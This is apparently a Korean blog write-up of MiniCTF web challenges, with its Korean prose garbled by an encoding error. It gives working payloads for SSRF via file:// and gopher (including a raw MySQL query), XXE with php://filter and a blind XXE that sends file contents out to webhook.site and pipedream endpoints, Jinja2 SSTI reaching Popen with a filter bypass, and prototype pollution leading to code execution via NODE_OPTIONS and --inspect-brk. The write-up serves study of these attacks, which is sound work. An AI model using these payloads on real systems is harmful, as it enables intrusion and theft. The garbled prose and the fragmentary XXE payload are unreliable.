MiniCTF_SSRF 1๋ฒ
์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด flag.txt์ ์กด์ฌ → ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ file ์ฝ๊ธฐ ๋ฐฉ๋ฒ
file://flag.txt
MiniCTF_SSRF 2๋ฒ
์์ค์ฝ๋์ flag๋ admin.php์ ์กด์ฌํ๋ค๋ ๊ฒ๊ณผ preg_match๋ฅผ ํตํด์ ์ด๋ค ํํ์ ๊ฐ์ ์ ๋ ฅํด์ผ๋๋์ง ํํธ๋ฅผ ์ป์ ์ ์์๋ค.
http://localhost/ssrf2/admin.php
if (isset($_GET['url'])) {
$result = 'Wrong URL.';
if (preg_match("/^https?:\\/\\/.*/is", $_GET['url'])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
$result = curl_exec($ch);
curl_close($ch);
MiniCTF_SSRF 3๋ฒ
http://127.0.0.1/ssrf3/admin.php ์ flag ์์น
gopher ์ฌ์ฉํด์ ํด๊ฒฐ
POST /ssrf3/admin.php HTTP/1.1
Host: 127.0.0.1
ADMIN: admin
Cookie: admin=admin;
Content-Type:
Content-Length:
Connection:close
admin=admin
html ํ์์ผ๋ก ์๋์ ๊ฐ์ด url๋ก ๋ณด๋๋ค.
\r\n : %0d%0a
‘ ‘ : %20
gopher://localhost:80/_POST%20/ssrf3/admin.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aADMIN:%20admin%0d%0aCookie:%20admin=admin;%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2011%0d%0aConnection:%20close%0d%0a%0d%0aadmin=admin
MiniCTF_SSRF 4๋ฒ
SSRF ์ทจ์ฝ์ ์ CSRF์ ์ ์ฌํ ํํ์ด์ง๋ง ํด๋ผ์ด์ธํธ๊ฐ ์๋ ์๋ฒ์ ์ง์ ์์ฒญ์ ํ๋ ๊ฒ์ผ๋ก ์๋ฒ ์์ฒด์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํ์ฌ ๋ด์ฉ์ ํ์ทจํ๊ฒ ๋๋ค.
3๋ฒ ๋ฌธ์ ๋ฅผ gopher๋ฅผ ์ด์ฉํด์ ํ์๊ธฐ ๋๋ฌธ์ Gopher protocol์ ์ด์ฉํด์ ํด๊ฒฐํ์๋ค.
์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด $conn = mysqli_connect('localhost','ssrf4','', 'ssrf4'); ๋ผ๊ณ ํํธ๊ฐ ๋์์์๋ค.
mysqli_connect([ip],[id],[db],[port]); ์ด๊ธฐ ๋๋ฌธ์ ๊ณ ํผ ํ๋กํ ์ฝ์์
username์ ssrf4๋ก ์ ๋ ฅํ๊ณ
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
์ ์ ๋ ฅํ์๋๋ ํ ์ด๋ธ์ค์ flag๊ฐ ์๋ ๊ฒ์ด ํ์ธ๋์๋ค.
- table
- J 5.7.318RA%d%fp๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ<|-YDrt#,mysql_native_passwordHdefinformation_schemaTABLESTABLES TABLE_NAME TABLE_NAME!๏ฟฝ๏ฟฝCHARACTER_SETS COLLATIONS&%COLLATION_CHARACTER_SET_APPLICABILITYCOLUMNSCOLUMN_PRIVILEGESENGINES EVENTS FILES GLOBAL_STATUSGLOBAL_VARIABLES KEY_COLUMN_USAGEOPTIMIZER_TRACE PARAMETERS PARTITIONSPLUGINSPROCESSLIST PROFILINGREFERENTIAL_CONSTRAINTS ROUTINES SCHEMATASCHEMA_PRIVILEGESSESSION_STATUSSESSION_VARIABLES STATISTICSTABLESTABLESPACESTABLE_CONSTRAINTSTABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES!VIEWS "INNODB_LOCKS# INNODB_TRX$INNODB_SYS_DATAFILES%INNODB_FT_CONFIG&INNODB_SYS_VIRTUAL' INNODB_CMP(INNODB_FT_BEING_DELETED)INNODB_CMP_RESET*INNODB_CMP_PER_INDEX+INNODB_CMPMEM_RESET,INNODB_FT_DELETED-INNODB_BUFFER_PAGE_LRU.INNODB_LOCK_WAITS/INNODB_TEMP_TABLE_INFO0INNODB_SYS_INDEXES1INNODB_SYS_TABLES2INNODB_SYS_FIELDS3INNODB_CMP_PER_INDEX_RESET4INNODB_BUFFER_PAGE5INNODB_FT_DEFAULT_STOPWORD6INNODB_FT_INDEX_TABLE7INNODB_FT_INDEX_CACHE8INNODB_SYS_TABLESPACES9INNODB_METRICS:INNODB_SYS_FOREIGN_COLS; INNODB_CMPMEM<INNODB_BUFFER_POOL_STATS=INNODB_SYS_COLUMNS>INNODB_SYS_FOREIGN?INNODB_SYS_TABLESTATS@flagA๏ฟฝ”’
ํ ์ด๋ธ ์ด๋ฆ์ ํ์ธํ์๊ธฐ ๋๋ฌธ์
SELECT * from flag ๋ฅผ ํ์๋๋ฐ ๊ฒฐ๊ณผ๊ฐ ๋์ค์ง ์์ db๋ช ๊น์ง ๋ถ์ฌ์ ์ ๋ ฅํ์๋๋ flag๋ฅผ ์ป์ ์ ์์๋ค.
**SELECT * form ssrf4.flag**
MiniCTF_XXE 1๋ฒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">]>
<userInfo>
<email>John.Smith@gmail.com</email>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
ENTITY ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์ธ๋ถ ์ํฐํฐ๋ฅผ ์ ์ธํ๊ณ ์ ์ธํ xxe ์ํฐํฐ๋ฅผ ์ฐธ์กฐํ๋ฉด SYSTEM ํค์๋๋ก
http://๋ฅผ ์ฌ์ฉํ์ฌ ์ธ๋ถ ๋ฆฌ์์ค๋ฅผ ์ฐธ์กฐํด์ ๋์จ ๊ฐ์ ๋์ฝ๋ฉํ์ฌ flag๋ฅผ ์ป์ ์ ์์๋ค.
MiniCTF_XXE 2๋ฒ
1๋ฒ๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ ์คํํด๋ณด์๋๋ ์ด๋ค php๋ฅผ ์ด์ด์ผ ํ๋์ง ์ฃผ์์ผ๋ก ํํธ๋ฅผ ์ป์ ์ ์์๋ค.
flag.php → localhost ์ฌ์ผ์ง ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์์๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "<http://localhost:80/xxe2/flag.php>">]>
<userInfo>
<email>John.Smith@gmail.com</email>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
MiniCTF_XXE 3๋ฒ
XXE ์ทจ์ฝ์ ์ ์ ์ฅ๋ XML ๋ฐ์ดํฐ๋ฅผ ๋ถ๋ฌ์ฌ ๋ XML Parser์์ ์ธ๋ถ ์ํฐํฐ๋ฅผ ์ฌ์ฉํ๋ ๊ตฌ๋ถ์ด ์๋ค๋ฉด ํด๋น ๋ด์ฉ์ ์ฝ๊ณ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ๊ฒ์ ์ด์ฉํ ๊ณต๊ฒฉ์ด๋ค.
3๋ฒ ๋ฌธ์ ๋ 2๋ฒ๊ณผ ๋ฌ๋ฆฌ ํ์ด๋ก๋์ ๊ฒฐ๊ณผ๊ฐ์ด ๋์ค์ง ์๊ธฐ ๋๋ฌธ์ Blind XXE์ธ ๊ฒ์ ์๊ฐํ์ฌ ๊ฒฐ๊ณผ๊ฐ์ ๋์ ์๋ฒ์ ๋ณด๋ด๋๋ก ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์๋ค.
๋ฉํ ๋ ๊ฐ์์๋ฃ์ ์๋ ๋ถ๋ถ์ ์ฐธ๊ณ ํ์ฌ
">
https://webhook.site/6adfd1d1-864c-4912-adeb-053aac308544/xxe.dtd>">
%dtd;
]>
John.Smith@gmail.com
John
&exfil
https://eoe4b2t4ui5w640.m.pipedream.net>](<https://eoe4b2t4ui5w640.m.pipedream.net/>)/data?%xxe;'>">
%eval;
์ฐ์ , ENTITY xxe์ ๋ด๊ฐ ๋ณด๊ณ ์ถ์ flag.php ๊ฒฝ๋ก๋ฅผ ์ ์ฅํ์๊ณ oob์ exploit.xml ๋ด์ฉ์ ๊ฐ์ ธ์์ ์ ์ฅํ์๋ค. ๊ทธ๋ฆฌ๊ณ exploit.xml์์ ๋์ ์๋ฒ๋ก ์์ฒญ์ ์ํํ๋ ENTITY eval์ ๋ง๋ ํ์ ํ๋ผ๋ฏธํฐ๋ก xxe๋ฅผ ๋๊ฒจ์ ์ ์ฅํ ๋ด์ฉ์ผ๋ก ๊ฐ์ ธ์ ๋์ ์๋ฒ์์ ๋๋ฉ์ธ ํ๋ผ๋ฏธํฐ๋ก ํ์ผ ๋ด์ฉ์ผ ๋ถ์ด์ ธ์ ๋ณด๋ด์ง ๊ฒ์ ํ์ธํ์๋ค.
MiniCTF_SSTI 1๋ฒ
Jinja2 ํ ํ๋ฆฟ ๋ฌธ๋ฒ์์ open(’ ‘,’rb’).read()๊ฐ ๋ถ๊ฐํ๊ณ ,
ํ์ด์ฌ์ ๋ค์ค์์์ ์ง์ํ๋ค๋ ๊ฒ์ ์ด์ฉํ์ฌ ํด๊ฒฐํ๋ ๋ฐฉ๋ฒ์ด์๋ค.
MRO(method resolution order)๋ฅผ ์ด์ฉํด
{{“.__class__.__mro__[1].__subclasses__()}} ๋ก ํด๋์ค๋ค์ ํ์ธํ๊ณ
๊ทธ์ค ์ด๋ค ๊ฒ์ด open์ ํ๋ ํด๋์ค์ธ์ง ์ฐพ์๋ด์ด flag๋ฅผ ์ฐพ์๋ด์๋ค.
[http://wuq.kr:8086/?user=111{{ ''.__class__.__mro__[1].__subclasses__()[408]}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__()%5B408%5D%7D>)}
MiniCTF_SSTI 2๋ฒ
ํด๋น ๋ฌธ์ ๋ ์ฌ์ฉ์์ ์ธํ์ ํ ํ๋ฆฟ ์ฝ๋๋ก ํด์ํ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ผ๋ก Jinja2 ํ ํ๋ฆฟ ์์ง์ ์ฌ์ฉํ๋ค๋ ๊ฒ์ ๊ณต๊ฒฉ ๋ฒกํฐ๋ก ์ด์ฉํ๋ค.
์ฐ์ class์ค์์ popen ์ ์ฐพ๋ ๊ฒ์ ์๋ํด๋ณด์๋ค.
๋๊ฐ์ด 408๋ฒ์ ์์์ง๋ง ํํฐ๋ง์ด ์๊ธฐ ๋๋ฌธ์
[http://wuq.kr:8086/?user=111{{ ''.__class__.__mro__[1].__subclasses__()[408]}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__()%5B408%5D%7D>)} ์ธ ๊ฒฝ์ฐ์ ์๋ฌด๊ฒ๋ ์ถ๋ ฅ๋์ง ์์๋ค. ์ด๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ
{{%20%27%27[%27__cl%27+%27ass__%27][%27__m%27+%27ro__%27][1][%27__subcla%27+%27sses__%27](notion://www.notion.so/Exploit-5942b3bb4c584997bbc3ece3571a7210)[408]%20}} ์ผ๋ก popen์ ์คํ์ํค๊ณ ls-al ๋ช ๋ น์ ์คํ์์ผ๋ณด์๋๋ flag๊ฐ ์๋ ๋ถ๋ถ์ ์ฝ๊ธฐ ๊ถํ์ ์๊ณ ์คํ๊ถํ๋ง ์๋ ๊ฒ์ ํ์ธํ์๋ค.
[**<http://wuq.kr:8086/?user=111>{{ ''['__cl'+'ass__']['__m'+'ro__'][1]['__subcla'+'sses__']()[408]('./ssti2_flag',shell=True,stdout=-1).communicate()}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27%5B%27__cl%27+%27ass__%27%5D%5B%27__m%27+%27ro__%27%5D%5B1%5D%5B%27__subcla%27+%27sses__%27%5D()%5B408%5D(%27./ssti2_flag%27,shell=True,stdout=-1).communicate()%7D>)}**
Prototype Pollution
Prototype Pollution์ ****์๋ฐ์คํฌ๋ฆฝํธ ์ฒ๋ฆฌ ๋ก์ง์์ ๋ฐ์ํ๋ ๋ฌธ์ ๋ก prototype์ ์์ ํ ์ ์์ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ๋งํ๋ค.
์๋ฐ์คํฌ๋ฆฝํธ์ ์๋ฃํ์ prototype ์์ฑ์ ํฌํจํ๋๋ฐ ํน์ ๊ฐ์ฒด/ํด๋์ค์ prototype ๋ฐ์ดํฐ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ๋ค๋ฉด ์ดํ ๊ทธ ๊ฐ์ฒด์ ์์ฑ์๋ฅผ ํตํด ์๋ก์ด ์ธ์คํด์ค๋ฅผ ์์ฑํ ๋์ ์ฐธ์กฐํ๋ prototype ๊ฐ์ฒด์ ์์ฑ์ด ๋ณ๊ฒฝ๋๊ฒ ๋๋ค.
var inst = new Object();
inst.__proto__.isAdmin = true;
console.log(isAdmin); // true
์์ ์ฝ๋์ ๊ฐ์ด ํน์ ๊ฐ์ฒด ํด๋์ค์ ์ธ์คํด์ค๋ฅผ proto ์์ฑ์ ์ถ๊ฐํด์ฃผ๋ฉด ๋ค์ ์์ฑ๋ ์ธ์คํด์ค์ ์์ฑ๊น์ง ์ํฅ์ด ๊ฐ๊ฒ๋๋ค. ๋ํ, DOM๊ณผ Nodejs์์ ์ฌ์ฉํ๋ ์ ์ญ ๋ณ์ ๋ํ ๊ฐ์ฒด๋ฅผ ์์ํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๋ณ์กฐ์ํฌ ๊ฒฝ์ฐ์ ๊ฐ์ด ์์๋ก ์กฐ์๋๋ ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๋ค.
Prototype Pollution์ ์ด์ฉํ์ฌ RCE๋ฅผ ์ ๋ฐํ๋ ๋ฐฉ๋ฒ์ ์ ๋ฆฌํด๋ณด์๋ค.
<aside> ๐ก Code Execution
</aside>
Object.prototype.command = 'console.log("executed!")';
if (command) {
eval(command);
}
์ ๊ทผํ๊ธฐ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ผ๋ก, ๊ฒ์ฆ ๊ณผ์ ์์ด eval ํจ์์ ํน์ ๋ณ์๋ฅผ ์ธ์๋ก ํ์ฌ ์ ๋ฌํ ์ ์๋ค๋ฉด ์ฝ๊ฒ RCE๋ฅผ ์ ๋ฐํ ์ ์๋ ๋ฐฉ๋ฒ์ด๋ค.
<aside> ๐ก Process spawning
</aside>
for (const key in env) {
const value = env[key];
if (value !== undefined) {
envPairs.push(`${key}=${value}`);
}
}
Nodejs์ ๋ด์ฅ๋์ด ์๋ ๋ชจ๋๋ก, ์๋ธ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ ๋ฐ์ ์ฌ์ฉ๋๋ child_process ๋ชจ๋์
์์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ๋, ํ๊ฒฝ ๋ณ์๋ฅผ ๋ณต์ฌํ๋ ๊ณผ์ ์ ๊ฑฐ์น๊ฒ ๋๋๋ฐ ๋ณต์ฌ ๊ณผ์ ์์ for in ๋ฐ๋ณต๋ฌธ์ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ ๊ฐ์ฒด ๋ด๋ถ์ ์ง์ ์ ์ผ๋ก ์ ์๋์ง ์๋๋ผ๋ process.env์ ํ๋กํ ํ์ ์ธ Object.prototype ๊ฐ์ฒด๊ฐ ์ค์ผ๋๋ค๋ฉด ํ๊ฒฝ ๋ณ์๋ฅผ ์์๋ก ์ถ๊ฐํ ์ ์๊ฒ ๋๋ค.
NODE_OPTIONS='--require /proc/self/environ' node app.js
// same as
node --require /proc/self/environ app.js
Nodejs ํ๋ก์ธ์ค๊ฐ ์คํ๋ ๋, ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๊ธฐ ์ด์ ์ ์ฐ์ด๋ ํ๊ฒฝ ๋ณ์์ค์ ํ๋๋ก NODE_OPTIONS ํ๊ฒฝ๋ณ์๊ฐ ์กด์ฌํ๋๋ฐ ๋ณธ ๋ณ์์ --require [argv] ์ ๊ฐ์ ์ต์ ์ ์ถ๊ฐํ๋ฉด ์คํฌ๋ฆฝํธ ์คํ์ --require [argv] ๋ฅผ ์ถ๊ฐํ์ฌ ์คํํ ๊ฒ๊ณผ ๊ฐ์ ํจ๊ณผ๋ฅผ ์ป์ ์ ์๋ค.
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("mkdir executed")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());
์์ ์์๋ child_process์ NODE_OPTIONS๋ฅผ ์ฌ์ฉํ์ฌ RCE๋ฅผ ์ ๋ฐํ ์ ์๋ ์ฝ๋์ด๋ค.
ํ๊ฒฝ ๋ณ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจ์ํค๊ณ ํ๊ฒฝ ๋ณ์๊ฐ ์ ์ฅ๋๋ /proc/self/environ ํ์ผ์ ์ต์ ์ผ๋ก ์ง์ ํ์ฌ RCE๋ฅผ ์ ๋ฐํ ์ ์๋ค.
/proc/sef/environ ์ ์ด์ฉํ๋ฉด ๋ฆฌ๋ ์ค ์๋ฒ์๋ง ์๋ํ๋ค๋ ๋จ์ ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์
--inspect-brk ์ต์ ์ ์ด์ฉํ๋ฉด ์๋์ฐ์์๋ ์ด์ฉ์ด ๊ฐ๋ฅํ๋ค.
์์ ๊ฐ์ ์ต์ ์ ์ฌ์ฉํ๋ฉด ํด๋น ํ๋ก์ธ์ค๋ ์ต์ ์ ์ค์ ๋ ํฌํธ๋ก ๋๋ฒ๊ฑฐ๊ฐ ์ฐ๊ฒฐ๋ ๋๊น์ง ๋๊ธฐํ๋ฉฐ ๋ฐฑ๋์ด์ ๊ฐ์ ์ญํ ์ ํ๊ฒ ๋๋ค.
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_OPTIONS : '--inspect-brk=0.0.0.0:1234'
};
// method 1
fork('blank');
// method 2
exec('node blank');
// method 3
execSync('node blank');
// method 4
spawn('node', ['blank']);
// method 5
spawnSync('node', ['blank']);
๋๋ฒ๊น ํฌํธ๊ฐ ์ด๋ฆฐ๋ค๋ฉด node inspect host:port ๋ก ์๋ฒ์ ์ฐ๊ฒฐํ ์ ์๋ค.
์ดํ์ ์์ ๊ฐ์ exec , execSync ๊ณผ ๊ฐ์ ์ปค๋งจ๋๋ฅผ ํ์ฉํ์ฌ RCE๊ฐ ๊ฐ๋ฅํ๊ฒ ๋๋ค.
'Wargame' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Mini CTF (XSS) (1) | 2023.03.17 |
---|